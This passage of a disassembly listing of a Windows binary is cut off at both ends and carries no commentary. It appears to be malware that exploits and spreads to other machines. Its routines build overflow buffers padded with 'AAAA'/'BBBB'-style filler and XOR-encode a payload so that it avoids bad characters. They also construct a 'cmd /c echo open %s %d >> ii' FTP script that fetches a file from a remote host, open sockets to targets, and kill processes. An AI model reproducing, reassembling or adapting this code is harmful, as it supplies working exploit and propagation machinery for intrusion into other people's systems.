endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424840 proc near ; CODE XREF: sub_401BEAj var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = dword ptr -84Ch var_848 = dword ptr -848h var_844 = dword ptr -844h var_840 = dword ptr -840h var_83C = dword ptr -83Ch var_838 = dword ptr -838h var_834 = dword ptr -834h var_830 = dword ptr -830h var_82C = dword ptr -82Ch var_828 = dword ptr -828h var_824 = dword ptr -824h var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_808 = dword ptr -808h var_804 = dword ptr -804h var_800 = byte ptr -800h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 858h lea ecx, [esp+858h+var_818] push ebx push esi call sub_4012A8 mov esi, [esp+860h+arg_8] cmp esi, 408h jg loc_424C15 mov ebx, [esp+860h+arg_10] lea eax, [ebx+8] cmp eax, 408h ja loc_424C15 push edi lea ecx, [esp+864h+var_830] call sub_4012A8 lea ecx, [esp+864h+var_840] call sub_4012A8 lea ecx, [esp+864h+var_810] call sub_4012A8 lea ecx, [esp+864h+var_848] call sub_4012A8 lea ecx, [esp+864h+var_820] call sub_4012A8 lea ecx, [esp+864h+var_828] call sub_4012A8 lea ecx, [esp+864h+var_838] call sub_4012A8 push 4 push offset dword_444830 lea ecx, [esp+86Ch+var_830] call sub_4012C6 push 3 push offset dword_444838 lea ecx, [esp+86Ch+var_830] call sub_4012C6 lea ecx, [esp+864h+var_830] call sub_401B68 lea ecx, [esp+864h+var_830] call sub_4017CB mov ecx, 200h mov eax, 42424242h lea edi, [esp+864h+var_800] push 8 rep stosd push offset aRbrbrbrb ; "BBBB" lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ecx, [esp+864h+arg_C] push ebx push ecx lea ecx, [esp+86Ch+var_840] call sub_4012C6 mov ebx, [esp+864h+var_83C] mov edx, 409h sub edx, ebx lea eax, [esp+864h+var_800] push edx push eax lea ecx, [esp+86Ch+var_840] call sub_4012C6 lea ecx, [esp+864h+var_840] call sub_401B68 push offset loc_444BB8 lea ecx, [esp+868h+var_810] call sub_402036 lea ecx, [esp+864h+var_810] call sub_401B68 mov ecx, 200h mov eax, 44444444h lea edi, [esp+864h+var_800] push 410h rep stosd lea ecx, [esp+868h+var_800] push ecx lea ecx, [esp+86Ch+var_808] call sub_401834 lea ecx, [esp+864h+var_808] call sub_401B68 mov edx, [esp+864h+var_804] mov eax, [esp+864h+var_808] push edx push eax lea ecx, [esp+86Ch+var_810] call sub_401EAB lea ecx, [esp+864h+var_808] call sub_4016B8 mov ecx, 200h mov eax, 43434343h lea edi, [esp+864h+var_800] push offset aCccc ; "CCCC" rep stosd lea ecx, [esp+868h+var_848] call sub_402036 push 4 push offset dword_44483C lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov ecx, [esp+864h+arg_4] push esi push ecx lea ecx, [esp+86Ch+var_848] call sub_4012C6 mov edx, 408h lea eax, [esp+864h+var_800] sub edx, esi lea ecx, [esp+864h+var_848] push edx push eax call sub_4012C6 lea ecx, [esp+864h+var_848] call sub_401B68 mov ecx, [esp+864h+var_844] mov edx, [esp+864h+var_848] push ecx push edx lea ecx, [esp+86Ch+var_820] call sub_4014FB mov eax, [esp+864h+var_80C] mov ecx, [esp+864h+var_810] push eax push ecx lea ecx, [esp+86Ch+var_820] call sub_4014FB lea ecx, [esp+864h+var_820] call sub_4017CB lea ecx, [esp+864h+var_848] call sub_4016B8 lea ecx, [esp+864h+var_810] call sub_4016B8 mov edx, [esp+864h+var_83C] mov eax, [esp+864h+var_840] push edx push eax lea ecx, [esp+86Ch+var_828] call sub_4014FB mov ecx, [esp+864h+var_82C] mov edx, [esp+864h+var_830] push ecx push edx lea ecx, [esp+86Ch+var_828] call sub_4014FB mov eax, [esp+864h+var_81C] mov ecx, [esp+864h+var_820] push eax push ecx lea ecx, [esp+86Ch+var_828] call sub_4014FB lea ecx, [esp+864h+var_828] call sub_4017CB lea ecx, [esp+864h+var_840] call sub_4016B8 lea ecx, [esp+864h+var_830] call sub_4016B8 lea ecx, [esp+864h+var_820] call sub_4016B8 mov ecx, 200h mov eax, 41414141h lea edi, [esp+864h+var_800] lea edx, [esp+864h+var_800] rep stosd push 400h push edx lea ecx, [esp+86Ch+var_838] call sub_4012C6 lea ecx, [esp+864h+var_838] call sub_401B68 push 2 push offset dword_444BAC lea ecx, [esp+86Ch+var_838] call sub_4012C6 mov eax, [esp+864h+var_824] mov ecx, [esp+864h+var_828] push eax push ecx lea ecx, [esp+86Ch+var_838] call sub_4014FB lea ecx, [esp+864h+var_838] call sub_4017CB lea ecx, [esp+864h+var_828] call sub_4016B8 lea ecx, [esp+864h+var_850] call sub_4012A8 lea ecx, [esp+864h+var_858] call sub_4012A8 mov edx, [esp+864h+var_834] mov eax, [esp+864h+var_838] push edx push eax lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_838] call sub_4016B8 push offset dword_444BA8 lea ecx, [esp+868h+var_858] call sub_402036 mov ecx, [esp+864h+var_84C] mov edx, [esp+864h+var_850] push ecx push edx lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_443E80 lea ecx, [esp+868h+var_850] call sub_402036 mov eax, [esp+864h+var_854] mov ecx, [esp+864h+var_858] push eax push ecx lea ecx, [esp+86Ch+var_850] call sub_4014FB lea ecx, [esp+864h+var_850] call sub_4010A0 lea ecx, [esp+864h+var_858] call sub_4016B8 push offset dword_444B9C lea ecx, [esp+868h+var_858] call sub_402036 mov edx, [esp+864h+var_84C] mov eax, [esp+864h+var_850] push edx push eax lea ecx, [esp+86Ch+var_858] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4010A0 lea ecx, [esp+864h+var_850] call sub_4016B8 push offset dword_444B98 lea ecx, [esp+868h+var_818] call sub_402036 mov ecx, [esp+864h+var_854] mov edx, [esp+864h+var_858] push ecx push edx lea ecx, [esp+86Ch+var_818] call sub_4014FB lea ecx, [esp+864h+var_858] call sub_4016B8 mov eax, [esp+864h+arg_0] mov ecx, [esp+864h+var_818] mov edx, [esp+864h+var_814] pop edi mov [eax], ecx pop esi mov [eax+4], edx pop ebx add esp, 858h retn ; --------------------------------------------------------------------------- loc_424C15: ; CODE XREF: sub_424840+1Ej ; sub_424840+33j mov eax, [esp+860h+arg_0] mov ecx, [esp+860h+var_818] mov edx, [esp+860h+var_814] pop esi mov [eax], ecx mov [eax+4], edx pop ebx add esp, 858h retn sub_424840 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424D40 proc near ; CODE XREF: sub_401AB4j var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 sub esp, 210h push esi mov esi, [esp+214h+arg_0] lea eax, [esp+214h+var_210] lea ecx, [esp+214h+var_104] push eax push ecx lea edx, [esp+21Ch+var_208] push 0 lea eax, [esi+1] push edx push eax mov [esp+228h+var_204], esi mov [esp+228h+var_208], 1 mov [esp+228h+var_100], esi mov [esp+228h+var_104], 1 mov [esp+228h+var_210], 0Ah mov [esp+228h+var_20C], 0 call near ptr 71AB2DC0h nop cmp eax, 1 jz short loc_424DA9 xor eax, eax pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DA9: ; CODE XREF: sub_424D40+5Dj lea ecx, [esp+214h+var_208] push ecx push esi call sub_436F60 sub_424D40 endp ; --------------------------------------------------------------------------- test eax, eax jnz short loc_424DC0 pop esi add esp, 210h retn ; --------------------------------------------------------------------------- loc_424DC0: ; CODE XREF: ___:00424DB6j mov edx, [esp+224h] mov eax, [esp+220h] mov ecx, [esp+21Ch] push edx push eax push ecx push esi nop call near ptr 71AB615Ah pop esi add esp, 210h retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E20 proc near ; CODE XREF: sub_4012F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, [esp+8+arg_8] push edi push esi nop call near ptr 71AB2BC0h mov edi, [esp+0Ch+arg_0] mov ebx, dword_50FC8C mov [esp+0Ch+arg_8], eax push 0 lea eax, [esp+10h+arg_8] push 4 push eax push edi call ebx cmp eax, 4 jz short loc_424E53 pop edi pop esi xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_424E53: ; CODE XREF: sub_424E20+2Bj mov ecx, [esp+0Ch+arg_4] push 0 push esi push ecx push edi call ebx xor edx, edx cmp eax, esi setz dl pop edi pop esi mov al, dl pop ebx retn sub_424E20 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_424E90 proc near ; CODE XREF: sub_4012F8j var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch sub esp, 104h push ebx push ebp mov ebp, [esp+10Ch+arg_8] push esi lea esi, [ebp+41h] push esi mov [esp+114h+var_104], esi nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_424EC3 pop esi pop ebp xor al, al pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424EC3: ; CODE XREF: sub_424E90+25j mov ecx, esi push edi mov edx, ecx xor eax, eax mov edi, ebx mov esi, offset dword_4448CC shr ecx, 2 rep stosd mov ecx, edx push 85h and ecx, 3 push offset dword_444844 rep stosb mov ecx, 0Bh mov edi, ebx rep movsd movsw movsb mov [ebx+2Fh], bp mov eax, dword_4448FC mov [ebx+31h], eax mov ecx, dword_444900 mov esi, [esp+11Ch+arg_4] mov [ebx+35h], ecx mov ecx, ebp lea eax, [ebx+3Bh] mov edx, ecx mov edi, eax shr ecx, 2 mov [ebx+39h], bp add eax, ebp rep movsd mov ecx, edx and ecx, 3 rep movsb mov ecx, dword_50E130 mov esi, [esp+11Ch+arg_0] mov [eax], ecx mov dx, word_50E134 push esi mov [eax+4], dx call sub_4012F3 add esp, 0Ch test al, al pop edi jnz short loc_424F68 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424F68: ; CODE XREF: sub_424E90+C0j push 0 lea eax, [esp+114h+var_100] push 100h push eax push esi call sub_401AB4 mov ecx, [esp+120h+var_104] push ecx push ebx push esi call sub_4012F3 add esp, 1Ch test al, al jnz short loc_424FA3 push ebx nop call near ptr 77C2C21Bh add esp, 4 xor al, al pop esi pop ebp pop ebx add esp, 104h retn ; --------------------------------------------------------------------------- loc_424FA3: ; CODE XREF: sub_424E90+FBj push 0 lea edx, [esp+114h+var_100] push 100h push edx push esi call sub_401AB4 push ebx nop call near ptr 77C2C21Bh add esp, 14h mov al, 1 pop esi pop ebp pop ebx add esp, 104h retn sub_424E90 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425020 proc near ; CODE XREF: sub_401811j var_41C = dword ptr -41Ch var_418 = dword ptr -418h var_414 = dword ptr -414h var_410 = word ptr -410h var_40E = word ptr -40Eh var_40A = dword ptr -40Ah var_406 = dword ptr -406h var_402 = word ptr -402h var_400 = byte ptr -400h var_3FF = byte ptr -3FFh var_371 = byte ptr -371h arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_9E = dword ptr 0A2h sub esp, 41Ch mov ecx, 0FFh xor eax, eax push ebp push esi push edi lea edi, [esp+428h+var_3FF] rep stosd stosw stosb mov ecx, 23h mov esi, offset sub_444A70 lea edi, [esp+428h+var_400] rep movsd movsw mov ecx, offset byte_447541 movsb call sub_4017E4 push eax mov ecx, offset byte_447541 call sub_4017E4 mov ecx, [esp+42Ch+arg_0] push eax mov eax, dword_44767F push eax push ecx call sub_401DF7 add esp, 4 lea edx, [esp+434h+var_371] push eax push offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"... push 400h push edx nop call near ptr 77C3FA76h add eax, 90h lea ecx, [esp+444h+var_418] push eax lea eax, [esp+448h+var_400] push eax push 164h push offset sub_444908 push ecx call sub_401BEA mov eax, [esp+458h+var_414] xor edi, edi add esp, 30h cmp eax, edi jnz short loc_4250C9 xor eax, eax pop edi pop esi pop ebp add esp, 41Ch retn ; --------------------------------------------------------------------------- loc_4250C9: ; CODE XREF: sub_425020+9Bj mov ebp, dword_50FC2C mov [esp+428h+var_41C], edi loc_4250D3: ; CODE XREF: sub_425020+158j test edi, edi jnz loc_42517E push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_425161 mov eax, [esp+428h+arg_9E] xor edx, edx mov dword ptr [esp+428h+var_40E], edx push eax mov [esp+42Ch+var_40A], edx mov [esp+42Ch+var_410], 2 mov [esp+42Ch+var_406], edx mov [esp+42Ch+var_402], dx call ebp lea ecx, [esp+428h+arg_4] mov [esp+428h+var_40E], ax push ecx call near ptr 71AB2BF4h nop lea edx, [esp+428h+var_410] push 10h push edx push esi mov [esp+28h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz short loc_425156 mov eax, [esp+428h+var_414] mov ecx, [esp+428h+var_418] push eax push ecx push esi call sub_4012F8 add esp, 0Ch and eax, 0FFh mov edi, eax loc_425156: ; CODE XREF: sub_425020+11Aj push esi nop call near ptr 71AB9639h test edi, edi jnz short loc_42516C loc_425161: ; CODE XREF: sub_425020+CCj push 3E8h nop call near ptr 2830000h loc_42516C: ; CODE XREF: sub_425020+13Fj mov eax, [esp+428h+var_41C] inc eax cmp eax, 2 mov [esp+428h+var_41C], eax jl loc_4250D3 loc_42517E: ; CODE XREF: sub_425020+B5j lea ecx, [esp+428h+var_418] call sub_4016B8 test edi, edi jz short loc_4251AE sub esp, 0BCh mov ecx, 2Eh lea esi, [esp+4E4h+arg_0] mov edi, esp rep movsd movsw call sub_40114F add esp, 0BCh loc_4251AE: ; CODE XREF: sub_425020+169j pop edi pop esi mov eax, 1 pop ebp add esp, 41Ch retn sub_425020 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425230 proc near ; CODE XREF: sub_4013C5j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi mov edi, [esp+4+arg_4] or ecx, 0FFFFFFFFh xor eax, eax repne scasb mov edi, [esp+4+arg_0] not ecx dec ecx mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx pop edi lea eax, [ecx+edx*2+0C1h] retn sub_425230 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425270 proc near ; CODE XREF: sub_40178Aj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_8] push esi mov esi, [esp+8+arg_C] push esi push ebx call sub_4013C5 mov ecx, [esp+10h+arg_4] add esp, 8 cmp eax, ecx mov [esp+8+arg_8], eax jbe short loc_425295 pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425295: ; CODE XREF: sub_425270+1Ej push ebp push edi or ecx, 0FFFFFFFFh mov edi, ebx xor eax, eax mov ebp, [esp+10h+arg_0] repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx mov esi, offset dword_444C98 mov eax, ecx mov edi, ebp lea ecx, [eax+edx+12h] mov dword_444CFC, ecx lea ecx, [eax+1] mov dword_444D1D, ecx lea ecx, [eax+17h] mov dword_444D15, ecx mov ecx, 0FFFFFFEDh sub ecx, eax mov dword_444D2B, ecx mov ecx, 1Dh rep movsd mov ecx, edx mov esi, ebx mov ebx, ecx lea edi, [ebp+74h] shr ecx, 2 rep movsd mov ecx, ebx add edx, 74h and ecx, 3 rep movsb mov esi, dword_444D0C lea ecx, [edx+ebp] add edx, 5 mov [ecx], esi mov bl, byte_444D10 mov esi, [esp+10h+arg_C] lea edi, [edx+ebp] mov [ecx+4], bl mov ecx, eax mov ebx, ecx add edx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb mov esi, dword_444D11 lea ecx, [edx+ebp] add edx, 10h mov [ecx], esi mov esi, dword_444D15 lea edi, [edx+ebp] mov [ecx+4], esi mov esi, dword_444D19 mov [ecx+8], esi mov esi, dword_444D1D mov [ecx+0Ch], esi mov esi, [esp+10h+arg_C] mov ecx, eax shr ecx, 2 rep movsd mov ecx, ebx and ecx, 3 rep movsb lea edi, [edx+eax] mov eax, [esp+10h+arg_8] add edi, ebp mov ecx, 0Eh mov esi, offset byte_444D21 rep movsd pop edi pop ebp pop esi pop ebx retn sub_425270 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4253E0 proc near ; CODE XREF: sub_402162j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4013C5 push eax call sub_4017BC add esp, 0Ch retn sub_4253E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_425410: ; CODE XREF: ___:00401735j push ebx mov ebx, [esp+10h] push ebp push edi mov edi, [esp+1Ch] push edi push ebx call sub_402162 mov ebp, [esp+1Ch] add esp, 8 cmp eax, ebp jbe short loc_425433 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425433: ; CODE XREF: ___:0042542Bj cmp eax, 0FFFFh jbe short loc_425440 pop edi pop ebp xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425440: ; CODE XREF: ___:00425438j push esi push edi push ebx call sub_4013C5 add eax, 101h push eax call near ptr 77C2C407h nop add esp, 0Ch mov esi, eax push edi push ebx push edi push ebx call sub_4013C5 add esp, 8 push eax push esi call sub_40178A push eax mov eax, [esp+28h] push esi push ebp push eax call sub_401B77 push esi mov edi, eax nop call near ptr 77C2C21Bh add esp, 24h mov eax, edi pop esi pop edi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254B0 proc near ; CODE XREF: sub_4017BCj arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test cl, cl jnz short loc_4254B9 inc ecx loc_4254B9: ; CODE XREF: sub_4254B0+6j mov eax, 0FFh cmp eax, ecx sbb eax, eax and eax, 2 add eax, 15h add eax, ecx retn sub_4254B0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4254E0 proc near ; CODE XREF: sub_401B77j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_C] cmp bl, 0Ah jz short loc_4254F8 cmp bl, 0Dh jz short loc_4254F8 cmp bl, 5Ch jz short loc_4254F8 test bl, bl jnz short loc_4254F9 loc_4254F8: ; CODE XREF: sub_4254E0+8j ; sub_4254E0+Dj ... inc ebx loc_4254F9: ; CODE XREF: sub_4254E0+16j cmp ebx, 0FFh jbe short loc_42551C mov eax, ebx shr eax, 8 cmp al, 0Ah jz short loc_425516 cmp al, 0Dh jz short loc_425516 cmp al, 5Ch jz short loc_425516 test al, al jnz short loc_42551C loc_425516: ; CODE XREF: sub_4254E0+28j ; sub_4254E0+2Cj ... add ebx, 100h loc_42551C: ; CODE XREF: sub_4254E0+1Fj ; sub_4254E0+34j push ebx call sub_4017BC mov ecx, [esp+8+arg_4] add esp, 4 cmp eax, ecx mov [esp+4+arg_C], eax jbe short loc_425535 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425535: ; CODE XREF: sub_4254E0+4Fj cmp eax, 0FFFFh jbe short loc_425540 xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_425540: ; CODE XREF: sub_4254E0+5Aj mov al, byte_50E138 xor edx, edx push ebp mov ebp, [esp+8+arg_8] test ebx, ebx push esi jbe short loc_425570 loc_425551: ; CODE XREF: sub_4254E0+8Ej mov cl, [edx+ebp] xor cl, al jz short loc_425567 cmp cl, 0Ah jz short loc_425567 cmp cl, 0Dh jz short loc_425567 cmp cl, 5Ch jnz short loc_42556B loc_425567: ; CODE XREF: sub_4254E0+76j ; sub_4254E0+7Bj ... inc al xor edx, edx loc_42556B: ; CODE XREF: sub_4254E0+85j inc edx cmp edx, ebx jb short loc_425551 loc_425570: ; CODE XREF: sub_4254E0+6Fj cmp ebx, 0FFh push edi mov byte_50E138, al ja short loc_4255A3 mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C80 mov edi, edx mov byte_444C8D, bl mov byte_444C91, al rep movsd movsb mov esi, 15h jmp short loc_4255C9 ; --------------------------------------------------------------------------- loc_4255A3: ; CODE XREF: sub_4254E0+9Cj mov edx, [esp+10h+arg_0] mov ecx, 5 mov esi, offset loc_444C68 mov edi, edx mov word_444C76, bx mov byte_444C7B, al rep movsd movsw movsb mov esi, 17h loc_4255C9: ; CODE XREF: sub_4254E0+C1j xor ecx, ecx pop edi test ebx, ebx jbe short loc_4255DF add esi, edx loc_4255D2: ; CODE XREF: sub_4254E0+FDj mov dl, [ecx+ebp] xor dl, al mov [esi+ecx], dl inc ecx cmp ecx, ebx jb short loc_4255D2 loc_4255DF: ; CODE XREF: sub_4254E0+EEj mov eax, [esp+0Ch+arg_C] pop esi pop ebp pop ebx retn sub_4254E0 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425640 proc near ; CODE XREF: sub_401E24j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] lea eax, [ecx+ecx*2] shl eax, 4 sub eax, ecx xor ecx, ecx lea eax, [eax+eax*2] mov dword_4491CF[eax*4], ecx mov dword_4491BB[eax*4], ecx mov dword_4491BF[eax*4], ecx mov dword_4491C3[eax*4], ecx mov dword_4491C7[eax*4], ecx mov dword_4491CB[eax*4], ecx mov byte_448FBB[eax*4], cl mov byte_4491D3[eax*4], cl retn sub_425640 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4256B0 proc near ; CODE XREF: sub_401370j arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push ebx push ebp xor ebx, ebx xor ebp, ebp cmp ecx, ebx jle loc_425767 cmp ecx, 400h jge loc_425767 lea eax, [ecx+ecx*2] push esi shl eax, 4 sub eax, ecx push edi push ebx lea esi, [eax+eax*2] mov eax, dword_4491CF[esi*4] push eax nop call near ptr 277083Bh cmp dword_4491CF[esi*4], ebx jz short loc_4256F8 mov ebp, 1 loc_4256F8: ; CODE XREF: sub_4256B0+41j mov dword_4491CF[esi*4], ebx mov dword_4491BB[esi*4], ebx mov dword_4491BF[esi*4], ebx mov eax, dword_4491C3[esi*4] cmp eax, ebx jbe short loc_425721 push eax call sub_401C6C add esp, 4 loc_425721: ; CODE XREF: sub_4256B0+66j mov edi, dword_50FC88 mov dword_4491C3[esi*4], ebx mov byte_448FBB[esi*4], bl mov byte_4491D3[esi*4], bl mov ecx, dword_4491C7[esi*4] push ecx call edi mov dword_4491C7[esi*4], ebx mov edx, dword_4491CB[esi*4] lea esi, ds:4491CBh[esi*4] push edx call edi mov [esi], ebx pop edi mov eax, ebp pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_425767: ; CODE XREF: sub_4256B0+Cj ; sub_4256B0+18j mov eax, ebp pop ebp pop ebx retn sub_4256B0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4257A0 proc near ; CODE XREF: sub_401D93j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push ebp push esi push edi xor ebp, ebp xor edi, edi mov esi, offset dword_4491BF loc_4257B1: ; CODE XREF: sub_4257A0+52j mov eax, [esp+10h+arg_0] mov ecx, [esi-4] cmp ecx, eax jnz short loc_4257E5 test ebx, ebx jle short loc_4257D7 cmp [esi], ebx jz short loc_4257C8 cmp edi, ebx jnz short loc_4257E5 loc_4257C8: ; CODE XREF: sub_4257A0+22j push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 jmp short loc_4257E4 ; --------------------------------------------------------------------------- loc_4257D7: ; CODE XREF: sub_4257A0+1Ej push edi call sub_401370 add esp, 4 test eax, eax jz short loc_4257E5 loc_4257E4: ; CODE XREF: sub_4257A0+35j inc ebp loc_4257E5: ; CODE XREF: sub_4257A0+1Aj ; sub_4257A0+26j ... add esi, 234h inc edi cmp esi, offset byte_4D61BF jl short loc_4257B1 pop edi mov eax, ebp pop esi pop ebp pop ebx retn sub_4257A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425820 proc near ; CODE XREF: sub_401C6Cj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi push edi push eax push 0 push 1F0FFFh mov edi, 1 nop call near ptr 27809BDh mov esi, eax test esi, esi jz short loc_425855 push 0 push esi call near ptr 2710000h nop test eax, eax jnz short loc_425855 push esi xor edi, edi nop call near ptr 28308B0h loc_425855: ; CODE XREF: sub_425820+1Dj ; sub_425820+2Aj mov eax, edi pop edi pop esi retn sub_425820 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_425870 proc near ; CODE XREF: sub_401483j arg_0 = dword ptr 4 mov edx, [esp+arg_0] xor eax, eax mov ecx, offset dword_4491BB loc_42587B: ; CODE XREF: sub_425870+1Cj cmp [ecx], edx jnz short loc_425880 inc eax loc_425880: ; CODE XREF: sub_425870+Dj add ecx, 234h cmp ecx, offset byte_4D61BB jl short loc_42587B retn sub_425870 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258A0 proc near ; CODE XREF: sub_401D8Ej arg_0 = dword ptr 4 mov edx, [esp+arg_0] push esi xor esi, esi xor eax, eax mov ecx, offset dword_4491BB loc_4258AE: ; CODE XREF: sub_4258A0+1Fj cmp [ecx], edx jz short loc_4258C3 add ecx, 234h inc eax cmp ecx, offset byte_4D61BB jl short loc_4258AE mov eax, esi loc_4258C3: ; CODE XREF: sub_4258A0+10j pop esi retn sub_4258A0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4258E0 proc near ; CODE XREF: sub_401BD6j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi xor edi, edi mov eax, offset byte_448FBB loc_4258E8: ; CODE XREF: sub_4258E0+18j cmp byte ptr [eax], 0 jz short loc_4258FE add eax, 234h inc edi cmp eax, offset dword_4D5FBB jl short loc_4258E8 mov eax, edi pop edi retn ; --------------------------------------------------------------------------- loc_4258FE: ; CODE XREF: sub_4258E0+Bj lea eax, [edi+edi*2] push esi shl eax, 4 sub eax, edi push 1FFh lea eax, [eax+eax*2] lea esi, ds:448FBBh[eax*4] mov eax, [esp+0Ch+arg_0] push eax push esi nop call near ptr 77C47A90h mov ecx, [esp+14h+arg_4] mov edx, [esp+14h+arg_8] mov [esi+200h], ecx mov dword ptr [esi+204h], 0 add esp, 0Ch mov dword ptr [esi+208h], 0 mov [esi+20Ch], edx mov byte ptr [esi+218h], 0 mov eax, edi pop esi pop edi retn sub_4258E0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_425980 proc near ; CODE XREF: sub_401609j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_425980 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 7 push 0Eh push 9 push 10h push 4Fh push 13h push 0Fh mov esi, ecx push 4 lea eax, [esp+68h+var_3C] push 4 push eax mov dword ptr [esi+118h], 0 mov byte ptr [esi+11Ch], 0 call sub_4019B5 add esp, 2Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_425980 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 4 push 15h push 4Fh push 13h push 0Fh push 4 lea edx, [esp+28h] push 4 push edx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+32h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Eh push 19h push 13h push 4Fh push 13h push 0Fh push 4 lea ecx, [esp+28h] push 4 push ecx call sub_4019B5 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call 